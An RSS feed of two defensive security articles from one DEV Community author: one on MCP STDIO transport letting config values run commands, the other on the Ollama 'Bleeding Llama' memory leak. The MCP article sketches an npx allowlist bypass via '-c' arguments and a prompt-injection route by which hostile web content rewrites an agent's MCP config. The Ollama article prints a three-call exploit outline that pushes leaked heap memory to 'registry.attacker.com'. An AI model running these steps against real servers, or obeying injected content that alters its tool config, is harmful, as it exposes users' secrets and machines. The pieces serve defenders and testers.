<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jonathan</title>
    <description>The latest articles on DEV Community by Jonathan (@jfisher4002).</description>
    <link>https://dev.to/jfisher4002</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1408951%2F9f0bbb59-df33-4208-a1d1-30cbefac656d.png</url>
      <title>DEV Community: Jonathan</title>
      <link>https://dev.to/jfisher4002</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jfisher4002"/>
    <language>en</language>
    <item>
      <title>MCP STDIO: The Command Runs Before the Server Is Trusted</title>
      <dc:creator>Jonathan</dc:creator>
      <pubDate>Mon, 06 Jul 2026 20:06:48 +0000</pubDate>
      <link>https://dev.to/jfisher4002/mcp-stdio-the-command-runs-before-the-server-is-trusted-1m1j</link>
      <guid>https://dev.to/jfisher4002/mcp-stdio-the-command-runs-before-the-server-is-trusted-1m1j</guid>
      <description>&lt;p&gt;If you are building AI agents with MCP, there is one detail about STDIO transport that is easy to miss.&lt;/p&gt;

&lt;p&gt;The client reads a config value.&lt;/p&gt;

&lt;p&gt;That config value contains a command.&lt;/p&gt;

&lt;p&gt;The command runs.&lt;/p&gt;

&lt;p&gt;Only after that does the client find out whether the command started a valid MCP server.&lt;/p&gt;

&lt;p&gt;If the command starts a real MCP server, the agent gets a working tool connection.&lt;/p&gt;

&lt;p&gt;If it does not, the agent gets an error.&lt;/p&gt;

&lt;p&gt;But the command already ran.&lt;/p&gt;

&lt;p&gt;That is the part developers need to sit with. This is not just a bug in one app. According to &lt;a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/" rel="noopener noreferrer"&gt;OX Security&lt;/a&gt;, it is a design characteristic of how &lt;a href="https://modelcontextprotocol.io/docs/concepts/transports" rel="noopener noreferrer"&gt;MCP STDIO transport&lt;/a&gt; works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://modelcontextprotocol.io/" rel="noopener noreferrer"&gt;MCP&lt;/a&gt; lets AI agents connect to tools, files, databases, APIs, and local services.&lt;/p&gt;

&lt;p&gt;STDIO is one of MCP's transports. Instead of connecting over HTTP, the client launches a local process and talks to it through standard input and standard output.&lt;/p&gt;

&lt;p&gt;That design is useful. It avoids opening a network port. It makes local tools easy to wire into an agent.&lt;/p&gt;

&lt;p&gt;It also means the MCP client is launching a process on the user's machine.&lt;/p&gt;

&lt;p&gt;That is not automatically unsafe. Local developer tools launch processes all the time.&lt;/p&gt;

&lt;p&gt;The risk appears when untrusted input can influence the command, the arguments, or the config file that defines the MCP server.&lt;/p&gt;

&lt;p&gt;At that point, your MCP config becomes a command execution surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  What OX Security found
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/" rel="noopener noreferrer"&gt;OX Security&lt;/a&gt; published research in April 2026 after auditing MCP for five months.&lt;/p&gt;

&lt;p&gt;Their finding was simple but serious:&lt;/p&gt;

&lt;p&gt;If attacker-controlled input reaches an MCP STDIO launch command, the attacker may be able to run code on the host.&lt;/p&gt;

&lt;p&gt;OX grouped the risk into a few paths:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Direct command injection.&lt;/strong&gt; Some AI frameworks passed user input into STDIO server configuration without enough validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Allowlist bypasses.&lt;/strong&gt; A product might allow only a trusted launcher such as &lt;code&gt;npx&lt;/code&gt;, but still allow attacker-controlled arguments. If the arguments can change what &lt;code&gt;npx&lt;/code&gt; runs, the allowlist does not protect much.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IDE prompt injection.&lt;/strong&gt; A coding agent or IDE may process untrusted content from files, web pages, repos, or tool responses. If that content can cause the agent to modify local MCP config, the next tool launch can become code execution.&lt;/p&gt;

&lt;p&gt;One confirmed example was &lt;a href="https://github.com/advisories/GHSA-wj2m-jvpr-64cq" rel="noopener noreferrer"&gt;CVE-2026-30615 in Windsurf&lt;/a&gt;, where attacker-controlled HTML could modify local MCP configuration and automatically register a malicious MCP STDIO server, leading to command execution without further user interaction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Marketplace distribution.&lt;/strong&gt; OX submitted a test package to 11 MCP marketplaces. Nine accepted it.&lt;/p&gt;

&lt;p&gt;OX also reported 7,000 publicly accessible servers, up to 200,000 vulnerable instances, and command execution on six live production platforms.&lt;/p&gt;

&lt;p&gt;Those numbers matter less than the pattern.&lt;/p&gt;

&lt;p&gt;MCP is becoming infrastructure. When infrastructure has a sharp edge, everyone downstream inherits it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The allowlist problem
&lt;/h2&gt;

&lt;p&gt;The allowlist bypass is the developer lesson.&lt;/p&gt;

&lt;p&gt;Imagine a product has a security rule like this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Only allow MCP STDIO servers to launch with &lt;code&gt;npx&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That sounds reasonable. It blocks random binaries. It gives the team one trusted launcher to review.&lt;/p&gt;

&lt;p&gt;But what if untrusted input reaches the args?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"example-tool"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"transport"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"stdio"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;untrusted input&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The allowlist checked the command name.&lt;/p&gt;

&lt;p&gt;It did not check what the command was being asked to do.&lt;/p&gt;

&lt;p&gt;That is the mismatch. Security logic says, "The command is allowed." Runtime behavior says, "The full command plus arguments is what matters."&lt;/p&gt;

&lt;p&gt;A real allowlist cannot stop at the binary name. It has to validate the full command shape.&lt;/p&gt;

&lt;p&gt;That means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;which launcher is allowed&lt;/li&gt;
&lt;li&gt;which arguments are allowed&lt;/li&gt;
&lt;li&gt;which package names are allowed&lt;/li&gt;
&lt;li&gt;which flags are blocked&lt;/li&gt;
&lt;li&gt;whether shell-like behavior is possible&lt;/li&gt;
&lt;li&gt;whether the command is pinned to a known version&lt;/li&gt;
&lt;li&gt;whether the server definition came from a trusted source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the answer is "we allow &lt;code&gt;npx&lt;/code&gt; and trust the rest," that is not a security boundary.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is not just an MCP problem
&lt;/h2&gt;

&lt;p&gt;This is the same class of mistake developers have seen for years.&lt;/p&gt;

&lt;p&gt;We trust a wrapper and forget the wrapper can be told to do unsafe things.&lt;/p&gt;

&lt;p&gt;We validate a filename and forget the path can escape the directory.&lt;/p&gt;

&lt;p&gt;We allow one executable and forget its flags can change the execution model.&lt;/p&gt;

&lt;p&gt;MCP makes the problem more important because agents are now sitting between untrusted content and local execution.&lt;/p&gt;

&lt;p&gt;A developer may ask an agent to inspect a repo, read docs, summarize an issue, install a tool, or configure a local server.&lt;/p&gt;

&lt;p&gt;That agent may read content the attacker controls.&lt;/p&gt;

&lt;p&gt;If the agent can write config files or launch tools, the attacker does not need to trick the human directly. They can influence the agent's environment.&lt;/p&gt;

&lt;p&gt;That is why prompt injection becomes more serious when it meets local tool execution.&lt;/p&gt;

&lt;p&gt;The prompt is not the payload by itself.&lt;/p&gt;

&lt;p&gt;The prompt becomes the path to the payload.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Anthropic did not patch the protocol
&lt;/h2&gt;

&lt;p&gt;Anthropic's position, as characterized by &lt;a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/" rel="noopener noreferrer"&gt;OX Security&lt;/a&gt;, is that this behavior is expected.&lt;/p&gt;

&lt;p&gt;There is some logic to that.&lt;/p&gt;

&lt;p&gt;STDIO exists so a client can launch a local MCP server. If the protocol aggressively strips arguments or blocks command patterns, it may break legitimate tool setups.&lt;/p&gt;

&lt;p&gt;The counterargument is also reasonable.&lt;/p&gt;

&lt;p&gt;A protocol that becomes a default integration layer cannot assume every downstream team will design safe command validation on its own.&lt;/p&gt;

&lt;p&gt;Most teams using MCP are not trying to become experts in command execution safety. They are trying to connect an AI agent to useful tools.&lt;/p&gt;

&lt;p&gt;That is the supply chain problem.&lt;/p&gt;

&lt;p&gt;A risky default at the protocol or SDK layer becomes a repeated bug across many products.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to check in your own MCP setup
&lt;/h2&gt;

&lt;p&gt;If you are using MCP STDIO, I would start with these tests.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Can user input reach the command or args?
&lt;/h3&gt;

&lt;p&gt;Search for places where input flows into values like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nc"&gt;StdioServerParameters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or the equivalent in your language or framework.&lt;/p&gt;

&lt;p&gt;If user input reaches either field, treat that as command execution risk.&lt;/p&gt;

&lt;p&gt;Do not only check direct form fields. Also check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;imported project files&lt;/li&gt;
&lt;li&gt;generated config&lt;/li&gt;
&lt;li&gt;agent-written config&lt;/li&gt;
&lt;li&gt;tool manifests&lt;/li&gt;
&lt;li&gt;marketplace package metadata&lt;/li&gt;
&lt;li&gt;setup scripts&lt;/li&gt;
&lt;li&gt;repo instructions&lt;/li&gt;
&lt;li&gt;issue or PR content consumed by an agent&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Does your allowlist validate the whole expression?
&lt;/h3&gt;

&lt;p&gt;An allowlist that checks only this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is incomplete.&lt;/p&gt;

&lt;p&gt;You also need to validate the args.&lt;/p&gt;

&lt;p&gt;Better still, map allowed tools to fixed command templates.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tool"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"approved-doc-search"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"approved-doc-search@1.2.3"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is safer than letting user-controlled input build the command.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Can the agent silently modify MCP config?
&lt;/h3&gt;

&lt;p&gt;This is the part teams will miss.&lt;/p&gt;

&lt;p&gt;The risk is not only "did the user type a bad command?"&lt;/p&gt;

&lt;p&gt;The risk is also "can the agent change the config after reading hostile content?"&lt;/p&gt;

&lt;p&gt;Config changes that affect STDIO launch behavior should require deliberate confirmation. A silent update to an MCP server command should be treated like a code change.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Are MCP servers exposed publicly?
&lt;/h3&gt;

&lt;p&gt;If an MCP-connected service is reachable from the public internet, put authentication and network controls in front of it.&lt;/p&gt;

&lt;p&gt;Do not treat AI tooling as a harmless dev utility. These systems often hold API keys, local file access, database handles, or cloud credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Where did the MCP package come from?
&lt;/h3&gt;

&lt;p&gt;Treat MCP servers like npm packages.&lt;/p&gt;

&lt;p&gt;That means checking:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;publisher identity&lt;/li&gt;
&lt;li&gt;repo history&lt;/li&gt;
&lt;li&gt;install scripts&lt;/li&gt;
&lt;li&gt;version pinning&lt;/li&gt;
&lt;li&gt;package age&lt;/li&gt;
&lt;li&gt;permissions requested&lt;/li&gt;
&lt;li&gt;whether the package is from an official source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A marketplace listing is not enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  The QA lesson
&lt;/h2&gt;

&lt;p&gt;The most useful test case is not "can I jailbreak the model?"&lt;/p&gt;

&lt;p&gt;The better test is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Can untrusted content cause the agent to create, modify, or launch an MCP STDIO server in a way that changes what code runs?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That gives QA and security teams a concrete workflow to test.&lt;/p&gt;

&lt;p&gt;Put malicious instructions in places the agent is likely to read:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;README files&lt;/li&gt;
&lt;li&gt;docs pages&lt;/li&gt;
&lt;li&gt;issue comments&lt;/li&gt;
&lt;li&gt;PR descriptions&lt;/li&gt;
&lt;li&gt;web pages&lt;/li&gt;
&lt;li&gt;tool responses&lt;/li&gt;
&lt;li&gt;package metadata&lt;/li&gt;
&lt;li&gt;generated setup instructions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then verify that the agent cannot turn those instructions into local MCP config changes or unsafe tool launches.&lt;/p&gt;

&lt;p&gt;This is where a lot of AI security testing is going next.&lt;/p&gt;

&lt;p&gt;Not just prompt input.&lt;/p&gt;

&lt;p&gt;Not just model output.&lt;/p&gt;

&lt;p&gt;The whole path from untrusted content to tool execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  The OWASP mapping
&lt;/h2&gt;

&lt;p&gt;This fits cleanly under &lt;a href="https://genai.owasp.org/llmrisk/llm032025-supply-chain/" rel="noopener noreferrer"&gt;OWASP LLM03: Supply Chain&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The risk is inherited through protocols, SDKs, registries, and tool packages. Developers downstream may not realize they inherited a command execution surface when they adopted MCP STDIO.&lt;/p&gt;

&lt;p&gt;It also touches &lt;a href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" rel="noopener noreferrer"&gt;OWASP LLM06: Excessive Agency&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;An agent that can launch local processes through weakly validated config has more capability than most users realize.&lt;/p&gt;

&lt;p&gt;That combination is the real issue:&lt;/p&gt;

&lt;p&gt;Supply chain risk gives the agent a dangerous tool surface.&lt;/p&gt;

&lt;p&gt;Excessive agency lets it use that surface.&lt;/p&gt;

&lt;p&gt;Prompt injection gives an attacker a way to steer it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;MCP STDIO is useful.&lt;/p&gt;

&lt;p&gt;It is also sharp.&lt;/p&gt;

&lt;p&gt;If you use it, do not ask only whether the MCP server works.&lt;/p&gt;

&lt;p&gt;Ask what command runs before the server proves it worked.&lt;/p&gt;

&lt;p&gt;Because with STDIO, the connector is not just a connector.&lt;/p&gt;

&lt;p&gt;The connector is the shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;For more detail, see my full writeup, &lt;a href="https://jfisher4002.substack.com/p/ai-leak-watch-the-protocol-that-anthropic" rel="noopener noreferrer"&gt;AI Leak Watch: The Protocol That Anthropic Won't Fix&lt;/a&gt;, and the companion walkthrough, &lt;a href="https://jfisher4002.substack.com/p/how-the-mcp-stdio-flaw-works" rel="noopener noreferrer"&gt;How the MCP STDIO Flaw Works&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Primary research: &lt;a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/" rel="noopener noreferrer"&gt;OX Security: The Mother of All AI Supply Chains&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Protocol docs: &lt;a href="https://modelcontextprotocol.io/docs/concepts/transports" rel="noopener noreferrer"&gt;Model Context Protocol: Transports&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Windsurf advisory: &lt;a href="https://github.com/advisories/GHSA-wj2m-jvpr-64cq" rel="noopener noreferrer"&gt;CVE-2026-30615 / GHSA-wj2m-jvpr-64cq&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;OWASP mapping: &lt;a href="https://genai.owasp.org/llmrisk/llm032025-supply-chain/" rel="noopener noreferrer"&gt;LLM03 Supply Chain&lt;/a&gt; and &lt;a href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" rel="noopener noreferrer"&gt;LLM06 Excessive Agency&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>testing</category>
      <category>mcp</category>
    </item>
    <item>
      <title>Your Local LLM Is Not as Private as You Think</title>
      <dc:creator>Jonathan</dc:creator>
      <pubDate>Thu, 25 Jun 2026 20:06:15 +0000</pubDate>
      <link>https://dev.to/jfisher4002/your-local-llm-is-not-as-private-as-you-think-3ek7</link>
      <guid>https://dev.to/jfisher4002/your-local-llm-is-not-as-private-as-you-think-3ek7</guid>
      <description>&lt;h2&gt;
  
  
  The Bleeding Llama vulnerability shows why running AI locally is not a security strategy
&lt;/h2&gt;

&lt;p&gt;Running an LLM locally feels like a privacy win.&lt;/p&gt;

&lt;p&gt;No cloud API. No third-party model provider. No prompts leaving your own machine.&lt;/p&gt;

&lt;p&gt;That assumption is comforting. It is also incomplete.&lt;/p&gt;

&lt;p&gt;In May 2026, Cyera Research disclosed a critical vulnerability in Ollama called Bleeding Llama. Ollama is one of the most popular ways to run open-source models locally. Developers use it to run models like Llama, Mistral, and others on laptops, workstations, and internal servers.&lt;/p&gt;

&lt;p&gt;The vulnerability is tracked as CVE-2026-7482. It affects Ollama versions before 0.17.1 and has been scored 9.1 Critical by Echo CNA.&lt;/p&gt;

&lt;p&gt;The issue matters because it challenges a common assumption about local AI systems: if the model runs locally, the data is private.&lt;/p&gt;

&lt;p&gt;Bleeding Llama shows why that is not enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Bleeding Llama Exposes
&lt;/h2&gt;

&lt;p&gt;At a technical level, Bleeding Llama is a heap out-of-bounds read in Ollama's GGUF model loading path.&lt;/p&gt;

&lt;p&gt;That sounds like a traditional memory-safety bug, and in one sense it is. The underlying weakness is CWE-125: Out-of-bounds Read.&lt;/p&gt;

&lt;p&gt;The AI-specific impact comes from where the bug lives.&lt;/p&gt;

&lt;p&gt;Ollama servers may hold prompts, system prompts, tool outputs, environment variables, API keys, and data from multiple users in process memory. If that memory leaks, the model does not have to reveal anything intentionally. The infrastructure leaks it first.&lt;/p&gt;

&lt;p&gt;According to Cyera, exploitation can be done with three unauthenticated API calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Step 1: Upload malicious GGUF file with inflated tensor metadata&lt;/span&gt;
POST /api/blobs/sha256:&amp;lt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Create model — triggers out-of-bounds heap read&lt;/span&gt;
POST /api/create
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;: &lt;span class="s2"&gt;"exfil-model"&lt;/span&gt;, &lt;span class="s2"&gt;"files"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;blob-hash&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;]}&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Push model with leaked heap data to attacker registry&lt;/span&gt;
POST /api/push
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;: &lt;span class="s2"&gt;"registry.attacker.com/leaked-model"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker uploads a malicious GGUF file. The file declares tensor metadata that does not match the actual file size. Ollama then processes that file during model creation. The vulnerable path reads past the expected buffer and copies unrelated heap memory into the resulting model artifact.&lt;/p&gt;

&lt;p&gt;The attacker then uses Ollama's &lt;code&gt;/api/push&lt;/code&gt; endpoint to push that model artifact to an attacker-controlled registry.&lt;/p&gt;

&lt;p&gt;No password is required. No user interaction is required. The server does not need to crash.&lt;/p&gt;

&lt;p&gt;That is what makes this vulnerability especially troubling. It is not just that memory can leak. It is that the leak can be packaged into a normal-looking model operation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Local Does Not Mean Private
&lt;/h2&gt;

&lt;p&gt;Ollama is designed for local use. That is part of its appeal.&lt;/p&gt;

&lt;p&gt;A developer can install it, pull a model, and start experimenting quickly. In a laptop-only setup bound to localhost, the risk profile is very different from a shared or exposed server.&lt;/p&gt;

&lt;p&gt;The problem is how local tools often become team infrastructure.&lt;/p&gt;

&lt;p&gt;A developer starts with a local experiment. Then a teammate wants access. Then the service gets bound to a broader network interface. Then it becomes part of a demo environment, internal tool, notebook server, CI workflow, or shared AI gateway.&lt;/p&gt;

&lt;p&gt;At that point, the word local becomes misleading.&lt;/p&gt;

&lt;p&gt;The model may still be running on hardware your team controls, but the service is now reachable by other systems. It has endpoints. It has model loading paths. It has egress behavior. It has access to secrets, prompts, and tool output.&lt;/p&gt;

&lt;p&gt;That is no longer just a local model.&lt;/p&gt;

&lt;p&gt;It is infrastructure.&lt;/p&gt;

&lt;p&gt;And infrastructure needs security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Disclosure Problem
&lt;/h2&gt;

&lt;p&gt;Bleeding Llama also shows a second problem: security visibility.&lt;/p&gt;

&lt;p&gt;Cyera's timeline says the vulnerability was reported to Ollama on February 2, 2026. A fix was acknowledged on February 25. CVE assignment and public visibility came later.&lt;/p&gt;

&lt;p&gt;The practical result is that operators had a gap between patch availability and clear security awareness.&lt;/p&gt;

&lt;p&gt;That matters.&lt;/p&gt;

&lt;p&gt;If a release note does not clearly flag a security fix, teams may treat the update as routine. If scanners do not have a CVE yet, patch management systems may not escalate it. If the affected software is treated as a developer convenience tool rather than production infrastructure, it may not be tracked closely at all.&lt;/p&gt;

&lt;p&gt;This is how AI infrastructure becomes risky in practice.&lt;/p&gt;

&lt;p&gt;The dangerous systems are not always the ones officially labeled production. Sometimes they are the experimental servers that became useful, stayed online, and quietly moved closer to sensitive data.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Engineers Should Check
&lt;/h2&gt;

&lt;p&gt;If your team runs Ollama, start with the basics.&lt;/p&gt;

&lt;p&gt;Upgrade to version 0.17.1 or later.&lt;/p&gt;

&lt;p&gt;Confirm that Ollama is not exposed to the public internet.&lt;/p&gt;

&lt;p&gt;Check whether the service is bound only to localhost or to a broader interface.&lt;/p&gt;

&lt;p&gt;Place authentication in front of any deployment that is reachable by other users or systems.&lt;/p&gt;

&lt;p&gt;Review whether the Ollama process has access to cloud credentials, API tokens, database credentials, or other secrets.&lt;/p&gt;

&lt;p&gt;Watch for model push behavior that should not be happening.&lt;/p&gt;

&lt;p&gt;Those are immediate checks. They are not the full testing strategy.&lt;/p&gt;

&lt;p&gt;The broader lesson is that model-serving infrastructure needs the same scrutiny as any other server that processes sensitive data.&lt;/p&gt;

&lt;p&gt;If a system can load untrusted model files, test the model loading path.&lt;/p&gt;

&lt;p&gt;If it exposes model creation endpoints, test whether those endpoints require authentication.&lt;/p&gt;

&lt;p&gt;If it can push model artifacts to external locations, test egress controls.&lt;/p&gt;

&lt;p&gt;If it runs with access to secrets, test the blast radius of process memory exposure.&lt;/p&gt;

&lt;p&gt;The model output is only one part of the risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  What QA Teams Should Test
&lt;/h2&gt;

&lt;p&gt;QA teams often approach AI testing through the prompt layer.&lt;/p&gt;

&lt;p&gt;Does the model answer correctly? Does it follow product rules? Does it refuse unsafe requests? Does it expose sensitive data in its response?&lt;/p&gt;

&lt;p&gt;Those tests matter. They are just not enough.&lt;/p&gt;

&lt;p&gt;Bleeding Llama is not a case where the model chooses to reveal a secret. It is a case where the infrastructure around the model can expose memory that should never leave the server.&lt;/p&gt;

&lt;p&gt;That changes the test plan.&lt;/p&gt;

&lt;p&gt;QA and security teams should test where data flows, where it is stored, who can reach it, and what happens when an attacker controls part of the input path.&lt;/p&gt;

&lt;p&gt;For a local LLM server, that means testing exposed endpoints, model import behavior, authentication, egress behavior, secrets placement, logging, update visibility, and version tracking.&lt;/p&gt;

&lt;p&gt;It also means treating model files as untrusted input.&lt;/p&gt;

&lt;p&gt;A model artifact is not just data. It exercises parsers, converters, loaders, quantizers, and file handling code. If your product accepts model files or pulls them from external registries, those paths belong in the security test plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Broader Pattern
&lt;/h2&gt;

&lt;p&gt;Bleeding Llama is not only an Ollama story.&lt;/p&gt;

&lt;p&gt;It is part of a larger pattern in AI infrastructure.&lt;/p&gt;

&lt;p&gt;Tools built for developer convenience get adopted quickly. They move from laptops to shared servers. They connect to coding agents, internal tools, data pipelines, and knowledge bases. Then they become part of the product without always getting the hardening expected of production systems.&lt;/p&gt;

&lt;p&gt;The result is a gap between how the tool was designed and how it is used.&lt;/p&gt;

&lt;p&gt;That gap is where security failures live.&lt;/p&gt;

&lt;p&gt;Running a model yourself can reduce some risks. It can keep data away from third-party APIs. It can give teams more control over deployment and retention.&lt;/p&gt;

&lt;p&gt;But it also creates new responsibilities.&lt;/p&gt;

&lt;p&gt;You now own the server. You own the network exposure. You own the update process. You own the secrets available to that process. You own the model loading path.&lt;/p&gt;

&lt;p&gt;Local control is useful. It is not a substitute for security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Takeaway
&lt;/h2&gt;

&lt;p&gt;The model does not need to say anything wrong for the system to leak data.&lt;/p&gt;

&lt;p&gt;The infrastructure just has to trust the wrong input.&lt;/p&gt;

&lt;p&gt;That is the real lesson from Bleeding Llama.&lt;/p&gt;

&lt;p&gt;AI security testing cannot stop at the prompt layer. Once an LLM server becomes part of the product, it becomes part of the attack surface.&lt;/p&gt;

